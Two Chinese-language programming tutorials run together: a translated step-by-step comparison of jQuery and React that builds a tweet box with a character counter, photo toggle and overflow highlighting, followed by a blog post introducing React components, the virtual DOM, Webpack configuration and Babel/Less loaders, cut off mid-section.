首先，我们需要写一个特别的方法叫做getInitialState，它是React自带的方法，它会返回一个JS对象，即初始状态。

在这个JS对象中，我们要做些什么呢？让我们在其中创建一个key叫做text。

var TweetBox = React.createClass({
  getInitialState: function() {
    return {
      text: ""
    };
  },
  handleChange: ...
  render: ...
});

接下来，我们会设置一个事件处理器将“状态”中的text设置成文本框内的内容。我们利用一个叫做setState的内置函数将文本框里的内容传递给text。

handleChange: function(event) {
  this.setState({ text: event.target.value });
},

现在，让我们来利用一些简单的debug语句检查一下是不是正确设置了text。

只需要在靠近render末尾处添加this.state.text，并且使用{...}语句来调用JSX中的js代码。

render: function() {
  return (
    <div ...>
      ...
      <button ...>Tweet</button>

      <br/>
      {this.state.text}
    </div>
  )
}

可以尝试在文本框中输入一些文本，同样的内容应该出现的按钮下方。你也可以在JSBin上面尝试。

现在，你应该对之前的内容有了深一点的理解。


删除之前的debug代码

一旦你确认了“状态”被正确设置，删除之前添加的debug代码。

<br/>
{this.state.text}

可用/禁用 按钮

到这里，我们可以稍微暂停一下，观察按钮的状态随着文本框的内容有无而改变。

通过“状态”，我们可以使用以下逻辑：

	如果this.state.text.length === 0，按钮应该是被禁用的。在React中，添加disabled属性，并且设置返回值this.state.text.length === 0。因为它是js代码，我们需要把它“{}”起来。




<button className="btn btn-primary pull-right"
        disabled={this.state.text.length === 0}>Tweet</button>

如果你在原生的HTML中写disabled="true"或者disabled="false"。在原生的HTML中，你需要移除disabled属性来启用按钮。但是React不是原生的HTML，它遵循的是下面的原则：


	如果你在JSX中使用disabled={true}，它会编译成<button ... disabled>


	如果你在JSX中使用disabled={false}，disabled属性会从button标签中移除。




这个同样适用于其它布尔类型的属性，例如checked，暂时这还不是正式的官方文档的写法，但是它应该会很快被添加进去。

现在的代码示例：JSBin。

小结
在进入下一个步骤之前，请牢记React和jQuery的区别：


	在jQuery中，每发生一个事件，就需要改变一次DOM


	在React中，每发生一个事件，只会改变state“状态”，通过render来映射现在的状态




步骤七：jQuery实现提示文本中剩余字数功能

下一个功能就是文本中剩余字数的提示：


功能说明：

	字符字数会这样显示140 - the number of characters entered.




我们会首先利用jQuery实现这样的功能，之后再利用React。

接着我们上一步的jQuery代码，React代码暂时放到一边。从现在开始，每一个小章节，我都会给出新的代码。这意味，在你看完每一步之后，都可以自己好好阅读这些代码。

JSBin代码示范

首先，在HTML两种通过添加span标签来增加字符字数，请看下面的示范：

<textarea ...></textarea><br>
<span>140</span>
<button ...>Tweet</button>

在JS代码中添加以下：

$("textarea").on("input", function() {
  $("span").text(140 - $(this).val().length);
  ...
});

好了，尝试输入字符，你会发现提示字符数会发生改变。

查看完整的JSBin示例

步骤八：React实现提示文本中剩余字数功能

怎么用React实现跟上面一样的功能呢？也许，你可以自己尝试一下。

tips：你可以在JSBin上面尝试自己动手编写。

在这一步中，你不需要操作HTML。建议你在JSBin中关闭它。

代码编写建议：


	没有必要去改变getInitialState()或者handleChange()


	可以尝试在render()中操作this.state.text.length




参考代码：
在render()的<br/>后面添加

<span>{140 - this.state.text.length}</span>

这是到现在为止的JSBin代码链接

感觉很简单？不明白为什么React比jQuery优秀这么多？好吧，下一步更加复杂了，而那才是React真正的瑰宝。

步骤九："Add Photo"按钮

让我们在这个UI组件上面添加一个"Add Photo"按钮。之后的事情就有些有趣了。


不过，我们不会真的上传图片。下面的，才是我们需要做的。

当你在推特上传图片的时候，它会自动帮你计算剩下的可以输入的字符。而你每次上传一次图片，它将会占用23个你原本可以输入的字符字数。


仿照推特，接下来我们所要做的就是：


	创建一个"Add Button"按钮


	点击按钮的时候，可以切换它的状态。如果它的状态是"on"，按钮会显示✓ Photo Added


	如果按钮的状态是"on"，那么可以输入的字符的个数会下降23个


	同样，如果按钮的状态是"on"，即使没有文本输入，那么"Tweet"按钮也是可以点击的




JSBin中的demo，尝试点击"Add Photo"按钮，然后观察可输入字数以及"Tweet"按钮的变化

步骤十：利用jquery实现跟上一步同样的功能

接着之前写过的jQuery代码继续~

首我们将会同时修改HTML以及js。在这之前，我们使用了一个选择器$("button")，但是如果有两个button标签的话就不太好用了。

接下来，我们要开始修改HTML如下：

...
<button class="js-tweet-button btn btn-primary pull-right" disabled>Tweet</button>
<button class="js-add-photo-button btn btn-default pull-right">Add Photo</button>
...

下面来详细解释一下改变了那些内容：


	添加了叫做"Add Photo"的按钮


	分别给按钮添加类名js-tweet-button以及js-add-photo-button，给它们的前缀增加了'js'，是因为这些只会在js中使用，在css中不会使用。




接下来，重新写js文件如下：

$("textarea").on("input", function() {
  $("span").text(140 - $(this).val().length);

  if ($(this).val().length > 0) {
    $(".js-tweet-button").prop("disabled", false);
  } else {
    $(".js-tweet-button").prop("disabled", true);
  }
});


来详细解析一下有哪些变化：


	(重要)因为要给Tweet按钮增加disabled属性，所以我在第一行移除了$("button").prop("disabled", true);


	用$(".js-tweet-button")替换了$("button")，这样就可以跟.js-add-photo-button区分开来




增加按钮的功能
我们开始来增加新的功能：

	点击Add Photo按钮来改变其状态。如果按钮的状态是"on"，那么就让其显示✓ Photo Added




为了达到这样的效果，让我们来增加下面的代码：

$("textarea").on("input", function() {
  ...
});

$(".js-add-photo-button").on("click", function() {
  if ($(this).hasClass("is-on")) {
    $(this)
      .removeClass("is-on")
      .text("Add Photo");
  } else {
    $(this)
      .addClass("is-on")
      .text("✓ Photo Added");
  }
});


我们使用类名is-on来检测按钮的状态，你可以点击或者仔细校对代码来理解它的原理。

递减字符计数

接下里，让我们来实现这样的需求：

	如果"Add Photo"按钮的状态是"on"，那么可输入字符数会减少23




为了完成这样的需求，编辑代码如下：

if ($(this).hasClass("is-on")) {
  $(this)
    .removeClass("is-on")
    .text("Add Photo");
  $("span").text(140 - $("textarea").val().length);
} else {
  $(this)
    .addClass("is-on")
    .text("✓ Photo Added");
  $("span").text(140 - 23 - $("textarea").val().length);
}


每次点击的时候，我们都会改变span中的文本内容。如果按钮的状态是"on",那么可输入字符数就从117（可输入字符总数140-图片所占的字符数23）开始计数。

你可以点击"Add Photo"来检查上面的代码是否起作用

处理可输入字符提示的功能

上面的还远没有结束。即使"Add Photo"按钮的状态是"on"，你在文本框里面输入字符，提示的剩余可输入字符并不会同步发生改变。

为了解决这个问题，我们需要修改一下有关textarea的代码如下：

$("textarea").on("input", function() {
  if ($(".js-add-photo-button").hasClass("is-on")) {
    $("span").text(140 - 23 - $(this).val().length);
  } else {
    $("span").text(140 - $(this).val().length);
  }

  if (...) {
    ...
});

现在，你可以点击"Add Photo"之后，在文本框里面输入一些字符检查一下功能是否实现。

我知道这已经花费了好长一段时间了...

请坚持下去，现在jQuery的代码看起来已经有点让人迷糊了，不过没关系，多看几遍你应该就能理解了。

最后一个功能的完善

最后一个需要完善的功能是：

	如果"Add Photo"的状态是"on"，即使没有文本输入，"Tweet"按钮也应该可以使用。




为了完成这个需求，我们需要修改"Add Photo"按钮的click事件：

$(".js-add-photo-button").on("click", function() {
  if ($(this).hasClass("is-on")) {
    ...
    if ($("textarea").val().length === 0) {
      $(".js-tweet-button").prop("disabled", true);
    }
  } else {
    ...
    $(".js-tweet-button").prop("disabled", false);
  }
});


代码解析：


	如果"Add Photo"按钮的状态从"on"改变成"off"(if语句)，我们需要检查是否有字符输入，如果没有，禁用按钮


	如果"Add Photo"按钮的状态从"off"改变成"on"(else语句)，我们需要检查是否有字符输入，如果有，按钮启用




打断一下

我们还没有结束，下面的几步会发现代码的一个bug，你可以自己先尝试解决一下：


	点击"Add Photo"按钮，使其状态从"off"改变成"on"


	输入一些字符


	删除所有的字符


	你会发现，因为"Add Photo"按钮的状态是"on",所以"Tweet"按钮应该仍然是可以启用的，但是现状并不是这样的




这意味我们关于文本框的代码少了某些逻辑，为了解决这个bug，我们需要再加一个if判断

$("textarea").on("input", function() {
  ...
  if ($(this).val().length > 0 || $(".js-add-photo-button").hasClass("is-on")) {
    ...
  } else {
    ...
  }
});

我们增加了一个判断去检查"Tweet"按钮是否应该禁用

你可以多试几次，这次应该没有问题了。

步骤十一：关于jQuery代码如此让我困惑的反思

这是完整jQuery代码

再一次查看你的jQuery代码，很让人困惑，不是吗？如果你一直这样写下去，你就不得不借助大量的注释来帮助你记住之前的代码做了哪些。更进一步，这些代码也不利于你之后重构你的项目。

那么问题来了：为什么这么快利用jQuery所写的代码就变得这么“丑陋”？

这就不得不谈到我们之前说起的jQuery的风格。

再看这幅图：


当只有一个事件而且处理对象只有一个DOM的时候，利用jquery写出的代码是非常简单的。然而，当多个事件多个处理对象的时候，利用jQuery写的代码就有点恶心了。


想象一下，如果有更多的事件，上面的图片中会出现更多的箭头，与此同时，代码变得更加不好管理了。

理论上，你可以减轻这些缺陷通过重构出复用的代码，但是你仍然不得不每次增加新功能的时候，绞尽脑汁处理好它们之间的关系。

现在，让我们来看看在React中做同样的事情是多么简单！

步骤十二：利用React实现"Add Photo"按钮功能

接着你之前的代码开始

首先，在JSX中添加"Add Photo"按钮：

<button ...>Tweet</button>
<button className="btn btn-default pull-right">Add Photo</button>

给按钮添加一个事件，使其可以改变按钮的显示内容从Add Photo到✓ Photo Added。温习一下React的代码风格：

我们将会：


	创建一个状态变量用来追踪"Add Photo"按钮的状态是"on"还是"off"


	使用render()中的状态来决定按钮使显示Add Photo还是✓ Photo Added


	在click事件发生时改变其状态




对于第一步，我们会构造一个getInitialState方法，在其中设置一对键值对来记录图片是否上传：

getInitialState: function() {
  return {
    text: "",
    photoAdded: false
  };
},

我们会对JSX中的"Add Photo"button标签做一些改变。我们可以通过下面的语句使其实现如果this.state.photoAdded是true，那么button上面就会显示"Photo Added"：

<button className="btn btn-default pull-right">
  {this.state.photoAdded ? "✓ Photo Added" : "Add Photo" }
</button>

对于第三步，我们会在JSX中给文本框增加一个点击事件：

<button className="btn btn-default pull-right"
  onClick={this.togglePhoto}>
  {this.state.photoAdded ? "✓ Photo Added" : "Add Photo" }
</button>

并且增加一个方法this.state.photoAdded用来改变button按钮的状态：

togglePhoto: function(event) {
  this.setState({ photoAdded: !this.state.photoAdded });
},

现在，你可以尝试点击一下，你会发现"Add Photo"显示的内容会随着你的点击而改变。

可输入字符提示

我们将会接着实现下面的功能：

	如果"Add Photo"按钮的状态是"on"，可输入字符串将会减少23个




现在，可输入字符串在render()中是这样控制的：

<span>{140 - this.state.text.length}</span>

现在，可输入字符数也依赖this.state.photoAdded，所以我们需要添加if-else语句

然而，在JSX中，你不能直接在{...}写入if-else语句，你可以使用三元运算符，但是那样的话在这个项目里面也太长了。

正常最简单的做法就是写一个方法来判断状态，我们来尝试一下。

首先，重新编辑span标签的代码：

<span>{ this.remainingCharacters() }</span>

并且，这样定义方法：

remainingCharacters: function() {
  if (this.state.photoAdded) {
    return 140 - 23 - this.state.text.length;
  } else {
    return 140 - this.state.text.length;
  }
},

现在，"Add photo"的状态应该可以影响可输入剩余字数了。

问题：在render()中为什么{ this.remainingCharacters() }后面有()，而{ this.handleChange }以及{ this.togglePhoto }没有呢？

好问题，让我们再看一次render()：

render: function() {
  return (
    ...
      <textarea className="..."
                onChange={ this.handleChange }></textarea>
      ...
      <span>{ this.remainingCharacters() }</span>
      ...
      <button className="..."
        onClick={ this.togglePhoto }>
        ...
      </button>
    </div>
  );

参考答案：


	我们写remainingCharacters()这个方法来返回一个数，我们需要得到这个数并让它在span标签中显示，所以我们需要通过()调用remainingCharacters()


	另一方面，handleChange以及togglePhoto是事件处理方法，只有当交互（改变文本或者点击按钮）实现的时候，我们才需要调用这些方法。于是，我们不需要写()，只需要把他们赋值给onChange以及onClick这样的属性




Tweet按钮的状态

我们仍然有一个需求需要完善：

	如果"Add Photo"按钮的状态是"on"，但是没有字符输入，"Tweet"按钮应该可以启用：




这很简单，之前"Tweet"按钮的禁用属性是这样设置的：

<button ... disabled={this.state.text.length === 0}>...</button>

简而言之，要将之前只要字符输入为0的时候，"Tweet"按钮禁用改成只要：


	字符串输入为0


	"Add Photo"按钮的状态是"off"




两者都满足的时候"Tweet"按钮禁用

所以逻辑就变成了这样：

<button ... disabled={this.state.text.length === 0 && !this.state.photoAdded}>...</button>

或者，你可以调用remainingCharacters()来简化代码。如果未输入字符为140，意味着没有文本输入且"Add Photo"按钮的状态为"off"，从而"Tweet"按钮应该禁用：

<button ... disabled={this.remainingCharacters() === 140}>...</button>

就是这样的，尝试点击"Add Photo"按钮来检查"Tweet"按钮是否设置正确。

我们完成了

看起来非常简单，这是完整的代码：

var TweetBox = React.createClass({
  getInitialState: function() {
    return {
      text: "",
      photoAdded: false
    };
  },
  handleChange: function(event) {
    this.setState({ text: event.target.value });
  },
  togglePhoto: function(event) {
    this.setState({ photoAdded: !this.state.photoAdded });
  },
  remainingCharacters: function() {
    if (this.state.photoAdded) {
      return 140 - 23 - this.state.text.length;
    } else {
      return 140 - this.state.text.length;
    }
  },
  render: function() {
    return (
      <div className="well clearfix">
        <textarea className="form-control"
                  onChange={this.handleChange}></textarea>
        <br/>
        <span>{ this.remainingCharacters() }</span>
        <button className="btn btn-primary pull-right"
          disabled={this.state.text.length === 0 && !this.state.photoAdded}>Tweet</button>
        <button className="btn btn-default pull-right"
          onClick={this.togglePhoto}>
          {this.state.photoAdded ? "✓ Photo Added" : "Add Photo" }
        </button>
      </div>
    );
  }
});

React.render(
  <TweetBox />,
  document.body
);


步骤十三：关于React代码的思考-为什么如此简单？

使用React，对于"Add Photo"按钮的代码所做的改变是最小的，不需要进行重构，这是为什么呢？

这与React的代码风格思想有很大的关系。在React中，只有当事件发生的时候，state才发生改变，之后，React自动调用render()来更新UI。

在这个特殊的例子中，它是这样发生的：

state成为了事件以及render()之间过渡：


	每个事件不需要担心哪一部分的DOM发生变化，他们只需要设置state就可以了


	相应的，当你写render()的时候，你也只需要担心现在的state是什么




与jQuery做比较：

你可以想象一下，当UI有更多交互的时候，会发生什么，没有了中间的过渡层'state'，我们需要花费很大的精力来解决它们之间相互的联系。这就是为什么对于复杂的组件，建议使用React而不是jQuery。

再次说明，你也可以写出简洁的jQuery代码。但是你必须想出良好的代码结构，每次想要增加新功能的时候还需要特别注意是否影响代码的重构。而使用React，就没有这样的烦恼。

步骤十四：最后的功能需求-超出字数高亮显示

最后一个功能就是超过所限制输入的字符，超出的字符高亮显示：

但是，我们不会真的在输入框的内部高亮显示，因为这需要我们把textarea改成contenteditable，而contenteditable在这个示例中处理起来有点复杂。

我们会在输入框的上面添加一个弹出框，并且显示应该删除的超出字符限制的字符：


你可以尝试copy下面乔布斯的一段话：

If you haven't found it yet, keep looking. 
Don't settle. 
As with all matters of the heart, you'll know when you find it. 
And, like any great relationship, it just gets better and better as the years roll on.

并且复制进下面的JSBin的链接：高亮显示的代码链接


	它应该在文本框的上面有一个弹出框，超出字数限制的字符应该红色高亮显示


	在红色高亮显示的字符之前应该还有10个字符没有高亮




如果我们用jQuery写这个功能，我们的代码会更加的混乱。看下面的图，我们需要重新增加两个箭头


所以我们不会用jQuery来实现这样的一个功能。

我们只会用React来实现它，只需要增加一个箭头就好了：


步骤十五：利用React高亮显示字符

接着之前的React代码

我们会一步一步来做。首先，当输入的字符超过限制字数的时候，会弹出一个简单的弹出框，它里面会有一些简单的文字。

因为它需要条件判断，所以我们需要写一个程序来处理。在文本框之前增加{ this.overflowAlert() }：

{ this.overflowAlert() }
<textarea className="form-control"
          onChange={this.handleChange}></textarea>

现在，这个方法应该返回：


	如果没有字符串遗留，则返回一个div标签


	否则，没有任何东西返回




在React中，你可以通过函数方法返回一个JSX标签，并且在其他的方法中使用它。换而言之，你可以尝试做下面的事情：

someMethod: function() {
  return (
    <a href="#">Hello World</a>
  );
},
someMethod2: function() {
  return (
    <h1>
      { this.someMethod() }
    </h1>
  );
},

在我们的例子中，我们可以在一种情况下返回( <div> ... </div> )，另一种情况下，什么也不返回。这样我们的overflowAlert方法如下所示：

overflowAlert: function() {
  if (this.remainingCharacters() < 0) {
    return (
      <div className="alert alert-warning">
        <strong>Oops! Too Long:</strong>
      </div>
    );
  } else {
    return "";
  }
},

注意，我们是通过检查this.remainingCharacters()来判断我们是否弹出提示框。

尝试在文本框里面输入超过140个字符（或者一张图片+113个字符），它将会弹出提示框。

对超出的字符进行颜色样式的处理

下面是超出字符的处理方式：



	在"Oops! Too Long:"和超出的字符之间，存在一个小空格，它在三个'.'之前。我使用了&nbsp;


	提示框中有this.state.text第131到第140个字符


	其余的就是红色高亮显示的字符




下面在JSX中修改代码，在overflowAlert添加一个if判断，我们会创建两个变量：beforeOverflowText以及overflowText，我们会在this.state.text中使用.substring()方法：

if (this.remainingCharacters() < 0) {
  var beforeOverflowText = this.state.text.substring(140 - 10, 140);
  var overflowText = this.state.text.substring(140);

  return (
    <div className="alert alert-warning">
      <strong>Oops! Too Long:</strong>
      &nbsp;...{beforeOverflowText}
      <strong className="bg-danger">{overflowText}</strong>
    </div>
  );
}

再次copy下面的语句，粘贴进文本框，你就可以看到高亮的文本了，我们基本上以及完成了。

If you haven't found it yet, keep looking. Don't settle. As with all matters of the heart, you'll know when you find it. And, like any great relationship, it just gets better and better as the years roll on.



如果"Add Photo"按钮的状态是"on"呢？

如果"Add Photo"按钮的状态是"on"，那么字符限制就要减少23，所以我们的beforeOverflowText以及overflowText需要考虑到这个情况：

if (this.state.photoAdded) {
  var beforeOverflowText = this.state.text.substring(140 - 23 - 10, 140 - 23);
  var overflowText = this.state.text.substring(140 - 23);
} else {
  var beforeOverflowText = this.state.text.substring(140 - 10, 140);
  var overflowText = this.state.text.substring(140);
}

jsbin完整代码示范

现在，尝试点击"Add Photo"查看显示效果吧~

让我们来看看改变了什么：


步骤十六：接下来呢？

以上就是我的教程，期望你能从中得到：


	jQuery代码和React代码的不同


	怎么在JSX中写一些基本的React代码






接下来呢？

我的教程里面仅仅只是包含了React中的最好的部分。接下来你需要学的是：


	怎么编写组件


	在state中使用极广的props




幸运的是，官方的教程以及足够好了，你可以好好研读它们。

感谢阅读，如果你有任何的疑问，可以给我发email： shu@chibicode.com

后记

其实距离自己读完这篇文章已经好久了，一直在拖拖拖。作者介绍了React中的瑰宝state，确实让我受益很多。前前后后翻译这篇文章快一个月了吧。今天才算真正理解了翻译的不易~


 轻松入门React和Webpack

作者：天镶

来源： 轻松入门React和Webpack



                    
小广告：更多内容可以看我的博客和读书笔记


最近在学习React.js，之前都是直接用最原生的方式去写React代码，发现组织起来特别麻烦，之前听人说用Webpack组织React组件得心应手，就花了点时间学习了一下，收获颇丰




说说React


一个组件，有自己的结构，有自己的逻辑，有自己的样式，会依赖一些资源，会依赖某些其他组件。比如日常写一个组件，比较常规的方式：



	通过前端模板引擎定义结构

	JS文件中写自己的逻辑

	CSS中写组件的样式

	通过RequireJS、SeaJS这样的库来解决模块之间的相互依赖



那么在React中是什么样子呢？


结构和逻辑


在React的世界里，结构和逻辑交由JSX文件组织，React将模板内嵌到逻辑内部，实现了一个JS代码和HTML混合的JSX。


结构


在JSX文件中，可以直接通过React.createClass来定义组件：


javascriptvar CustomComponent = React.creatClass({
    render: function(){
        return (<div className="custom-component"></div>);
    }
});



通过这种方式可以很方便的定义一个组件，组件的结构定义在render函数中，但这并不是简单的模板引擎，我们可以通过js方便、直观的操控组件结构，比如我想给组件增加几个节点：


javascriptvar CustomComponent = React.creatClass({
    render: function(){
        var $nodes = ['h','e','l','l','o'].map(function(str){
            return (<span>{str}</span>);
        });
        return (<div className="custom-component">{$nodes}</div>);
    }
});



通过这种方式，React使得组件拥有灵活的结构。那么React又是如何处理逻辑的呢？


逻辑


写过前端组件的人都知道，组件通常首先需要相应自身DOM事件，做一些处理。必要时候还需要暴露一些外部接口，那么React组件要怎么做到这两点呢？


事件响应


比如我有个按钮组件，点击之后需要做一些处理逻辑，那么React组件大致上长这样：


javascriptvar ButtonComponent = React.createClass({
    render: function(){
        return (<button>屠龙宝刀，点击就送</button>);
    }
});



点击按钮应当触发相应地逻辑，一种比较直观的方式就是给button绑定一个onclick事件，里面就是需要执行的逻辑了：


javascriptfunction getDragonKillingSword() {
    //送宝刀
}
var ButtonComponent = React.createClass({
    render: function(){
        return (<button onclick="getDragonKillingSword()">屠龙宝刀，点击就送</button>);
    }
});



但事实上getDragonKillingSword()的逻辑属于组件内部行为，显然应当包装在组件内部，于是在React中就可以这么写：


javascriptvar ButtonComponent = React.createClass({
    getDragonKillingSword: function(){
        //送宝刀
    },
    render: function(){
        return (<button onClick={this.getDragonKillingSword}>屠龙宝刀，点击就送</button>);
    }
});



这样就实现内部事件的响应了，那如果需要暴露接口怎么办呢？


暴露接口


事实上现在getDragonKillingSword已经是一个接口了，如果有一个父组件，想要调用这个接口怎么办呢？


父组件大概长这样：


javascriptvar ImDaddyComponent = React.createClass({
    render: function(){
        return (
            <div>
                //其他组件
                <ButtonComponent />
                //其他组件
            </div>
        );
    }
});



那么如果想手动调用组件的方法，首先在ButtonComponent上设置一个ref=""属性来标记一下，比如这里把子组件设置成<ButtonComponent ref="getSwordButton"/>，那么在父组件的逻辑里，就可以在父组件自己的方法中通过这种方式来调用接口方法：


javascriptthis.refs.getSwordButton.getDragonKillingSword();



看起来屌屌哒~那么问题又来了，父组件希望自己能够按钮点击时调用的方法，那该怎么办呢？


配置参数


父组件可以直接将需要执行的函数传递给子组件：


javascript<ButtonComponent clickCallback={this.getSwordButtonClickCallback}/>



然后在子组件中调用父组件方法：


javascriptvar ButtonComponent = React.createClass({
    render: function(){
        return (<button onClick={this.props.clickCallback}>屠龙宝刀，点击就送</button>);
    }
});



子组件通过this.props能够获取在父组件创建子组件时传入的任何参数，因此this.props也常被当做配置参数来使用


屠龙宝刀每个人只能领取一把，按钮点击一下就应该灰掉，应当在子组件中增加一个是否点击过的状态，这又应当处理呢？


组件状态


在React中，每个组件都有自己的状态，可以在自身的方法中通过this.state取到，而初始状态则通过getInitialState()方法来定义，比如这个屠龙宝刀按钮组件，它的初始状态应该是没有点击过，所以getInitialState方法里面应当定义初始状态clicked: false。而在点击执行的方法中，应当修改这个状态值为click: true：


javascriptvar ButtonComponent = React.createClass({
    getInitialState: function(){
        //确定初始状态
        return {
            clicked: false
        };
    },
    getDragonKillingSword: function(){
        //送宝刀

        //修改点击状态
        this.setState({
            clicked: true
        });
    },
    render: function(){
        return (<button onClick={this.getDragonKillingSword}>屠龙宝刀，点击就送</button>);
    }
});



这样点击状态的维护就完成了，那么render函数中也应当根据状态来维护节点的样式，比如这里将按钮设置为disabled，那么render函数就要添加相应的判断逻辑：


javascriptrender: function(){
    var clicked = this.state.clicked;
    if(clicked)
        return (<button disabled="disabled" onClick={this.getDragonKillingSword}>屠龙宝刀，点击就送</button>);
    else 
        return (<button onClick={this.getDragonKillingSword}>屠龙宝刀，点击就送</button>);
}



小节


这里简单介绍了通过JSX来管理组件的结构和逻辑，事实上React给组件还定义了很多方法，以及组件自身的生命周期，这些都使得组件的逻辑处理更加强大


资源加载


CSS文件定义了组件的样式，现在的模块加载器通常都能够加载CSS文件，如果不能一般也提供了相应的插件。事实上CSS、图片可以看做是一种资源，因为加载过来后一般不需要做什么处理。


React对这一方面并没有做特别的处理，虽然它提供了Inline Style的方式把CSS写在JSX里面，但估计没有多少人会去尝试，毕竟现在CSS样式已经不再只是简单的CSS文件了，通常都会去用Less、Sass等预处理，然后再用像postcss、myth、autoprefixer、cssmin等等后处理。资源加载一般也就简单粗暴地使用模块加载器完成了


组件依赖


组件依赖的处理一般分为两个部分：组件加载和组件使用


组件加载


React没有提供相关的组件加载方法，依旧需要通过<script>标签引入，或者使用模块加载器加载组件的JSX和资源文件。


组件使用


如果细心，就会发现其实之前已经有使用的例子了，要想在一个组件中使用另外一个组件，比如在ParentComponent中使用ChildComponent，就只需要在ParentComponent的render()方法中写上<ChildComponent />就行了，必要的时候还可以传些参数。


疑问


到这里就会发现一个问题，React除了只处理了结构和逻辑，资源也不管，依赖也不管。是的，React将近两万行代码，连个模块加载器都没有提供，更与Angularjs，jQuery等不同的是，他还不带啥脚手架...没有Ajax库，没有Promise库，要啥啥没有...


虚拟DOM


那它为啥这么大？因为它实现了一个虚拟DOM（Virtual DOM）。虚拟DOM是干什么的？这就要从浏览器本身讲起


如我们所知，在浏览器渲染网页的过程中，加载到HTML文档后，会将文档解析并构建DOM树，然后将其与解析CSS生成的CSSOM树一起结合产生爱的结晶——RenderObject树，然后将RenderObject树渲染成页面（当然中间可能会有一些优化，比如RenderLayer树）。这些过程都存在与渲染引擎之中，渲染引擎在浏览器中是于JavaScript引擎（JavaScriptCore也好V8也好）分离开的，但为了方便JS操作DOM结构，渲染引擎会暴露一些接口供JavaScript调用。由于这两块相互分离，通信是需要付出代价的，因此JavaScript调用DOM提供的接口性能不咋地。各种性能优化的最佳实践也都在尽可能的减少DOM操作次数。


而虚拟DOM干了什么？它直接用JavaScript实现了DOM树（大致上）。组件的HTML结构并不会直接生成DOM，而是映射生成虚拟的JavaScript DOM结构，React又通过在这个虚拟DOM上实现了一个 diff 算法找出最小变更，再把这些变更写入实际的DOM中。这个虚拟DOM以JS结构的形式存在，计算性能会比较好，而且由于减少了实际DOM操作次数，性能会有较大提升


道理我都懂，可是为什么我们没有模块加载器？


所以就需要Webpack了


说说Webpack


什么是Webpack？


事实上它是一个打包工具，而不是像RequireJS或SeaJS这样的模块加载器，通过使用Webpack，能够像Node.js一样处理依赖关系，然后解析出模块之间的依赖，将代码打包


安装Webpack


首先得有Node.js


然后通过npm install -g webpack安装webpack，当然也可以通过gulp来处理webpack任务，如果使用gulp的话就npm install --save-dev gulp-webpack


配置Webpack


Webpack的构建过程需要一个配置文件，一个典型的配置文件大概就是这样


javascriptvar webpack = require('webpack');
var commonsPlugin = new webpack.optimize.CommonsChunkPlugin('common.js');

module.exports = {
    entry: {
        entry1: './entry/entry1.js',
        entry2: './entry/entry2.js'
    },
    output: {
        path: __dirname,
        filename: '[name].entry.js'
    },
    resolve: {
        extensions: ['', '.js', '.jsx']
    },
    module: {
        loaders: [{
            test: /\.js$/,
            loader: 'babel-loader'
        }, {
            test: /\.jsx$/,
            loader: 'babel-loader!jsx-loader?harmony'
        }]
    },
    plugins: [commonsPlugin]
};



这里对Webpack的打包行为做了配置，主要分为几个部分：



	entry：指定打包的入口文件，每有一个键值对，就是一个入口文件

	output：配置打包结果，path定义了输出的文件夹，filename则定义了打包结果文件的名称，filename里面的[name]会由entry中的键（这里是entry1和entry2）替换

	resolve：定义了解析模块路径时的配置，常用的就是extensions，可以用来指定模块的后缀，这样在引入模块时就不需要写后缀了，会自动补全

	module：定义了对模块的处理逻辑，这里可以用loaders定义了一系列的加载器，以及一些正则。当需要加载的文件匹配test的正则时，就会调用后面的loader对文件进行处理，这正是webpack强大的原因。比如这里定义了凡是.js结尾的文件都是用babel-loader做处理，而.jsx结尾的文件会先经过jsx-loader处理，然后经过babel-loader处理。当然这些loader也需要通过npm install安装

	plugins: 这里定义了需要使用的插件，比如commonsPlugin在打包多个入口文件时会提取出公用的部分，生成common.js



当然Webpack还有很多其他的配置，具体可以参照它的配置文档


执行打包


如果通过npm install -g webpack方式安装webpack的话，可以通过命令行直接执行打包命令，比如这样：


shell$webpack --config webpack.config.js



这样就会读取当前目录下的webpack.config.js作为配置文件执行打包操作


如果是通过gulp插件gulp-webpack，则可以在gulpfile中写上gulp任务：


javascriptvar gulp = require('gulp');
var webpack = require('gulp-webpack');
var webpackConfig = require('./webpack.config');
gulp.task("webpack", function() {
    return gulp
        .src('./')
        .pipe(webpack(webpackConfig))
        .pipe(gulp.dest('./build'));
});



组件编写


使用Babel提升逼格


Webpack使得我们可以使用Node.js的CommonJS规范来编写模块，比如一个简单的Hello world模块，就可以这么处理：


javascriptvar React = require('react');

var HelloWorldComponent = React.createClass({
    displayName: 'HelloWorldComponent',
    render: function() {
        return (

<div>Hello world</div>

);
    }
});

module.exports = HelloWorldComponent;



等等，这和之前的写法没啥差别啊，依旧没有逼格...程序员敲码要有geek范，要逼格than逼格，这太low了。现在都ES6了，React的代码也要写ES6，babel-loader就是干这个的。Babel能够将ES6代码转换成ES5。首先需要通过命令npm install --save-dev babel-loader来进行安装，安装完成后就可以使用了，一种使用方式是之前介绍的在webpack.config.js的loaders中配置，另一种是直接在代码中使用，比如：


javascriptvar HelloWorldComponent = require('!babel!jsx!./HelloWorldComponent');



那我们应当如何使用Babel提升代码的逼格呢？改造一下之前的HelloWorld代码吧：


javascriptimport React from 'react';

export default class HelloWorldComponent extends React.Component {
    constructor() {
        super();
        this.state = {};
    }
    render() {
        return (

<div>Hello World</div>

);
    }
}



这样在其他组件中需要引入HelloWorldComponent组件，就只要就可以了：


javascriptimport HelloWorldComponent from './HelloWorldComponent'



怎么样是不是更有逼格了？通过import引入模块，还可以直接定义类和类的继承关系，这里也不再需要getInitialState了，直接在构造函数constructor中用this.state = xxx就好了


Babel带来的当然还不止这些，在其帮助下还能尝试很多优秀的ES6特性，比如箭头函数，箭头函数的特点就是内部的this和外部保持一致，从此可以和that、_this说再见了


javascript['H', 'e', 'l', 'l', 'o'].map((c) => {
    return (<span>{c}</span>);
});



其他还有很多，具体可以参照Babel的学习文档


样式编写


我是一个强烈地Less依赖患者，脱离了Less直接写CSS就会出现四肢乏力、不想干活、心情烦躁等现象，而且还不喜欢在写Less时候加前缀，平常都是gulp+less+autoprefixer直接处理的，那么在Webpack组织的React组件中要怎么写呢？


没错，依旧是使用loader


可以在webpack.config.js的loaders中增加Less的配置：


javascript{
  test: /\.less$/,
  loader: 'style-loader!css-loader!autoprefixer-loader!less-loader'
}



通过这样的配置，就可以直接在模块代码中引入Less样式了：


javascriptimport React from 'react';

require('./HelloWorldComponent.less');

export default class HelloWorldComponent extends React.Component {
    constructor() {
        super();
        this.state = {};
    }
    render() {
        return (

<div>Hello World</div>

);
    }
}



其他


Webpack的loader为React组件化提供了很多帮助，像图片也提供了相关的loader：


